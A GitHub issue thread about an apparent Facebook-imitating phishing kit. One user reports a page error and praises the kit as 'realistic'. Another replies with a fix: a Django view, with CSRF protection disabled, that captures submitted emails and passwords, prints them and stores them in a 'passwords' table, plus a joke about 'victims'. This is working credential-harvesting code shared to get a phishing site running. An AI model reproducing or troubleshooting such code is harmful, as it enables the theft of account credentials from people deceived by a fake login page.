Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Page not found #5

Open
adi170-alt opened this issue May 8, 2022 · 1 comment
Open

Page not found #5

adi170-alt opened this issue May 8, 2022 · 1 comment

Comments

@adi170-alt
Copy link

brave_HNwz4YiqxV
It is really good and realistic but I get this

@Ynaso
Copy link

Ynaso commented Jan 22, 2023

you may change the url on the app url for login instead of fblogin and then disable the csrf_token feature by using

from django.views.decorators.csrf import csrf_exempt

and use the decorator under the view

@csrf_exempt
def Passwords(request):
if request.method=='POST':
username=str(request.POST.get('email'))
password=str(request.POST.get('pass'))
print(username,password)
if not passwords.objects.filter(username=username,password=password):
passwords(username=username,password=password).save()
ctx={'Success':'Success'}
else:
ctx={'Bad':'Hacker'}
return HttpResponse(json.dumps(ctx), content_type='application/json')

it should work after that, thats just a Troubleshooting to make it work but is not a recommended thing that you disable the CRSF token feature since someone could attack your website and steal your victims lol

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants
@adi170-alt @Ynaso and others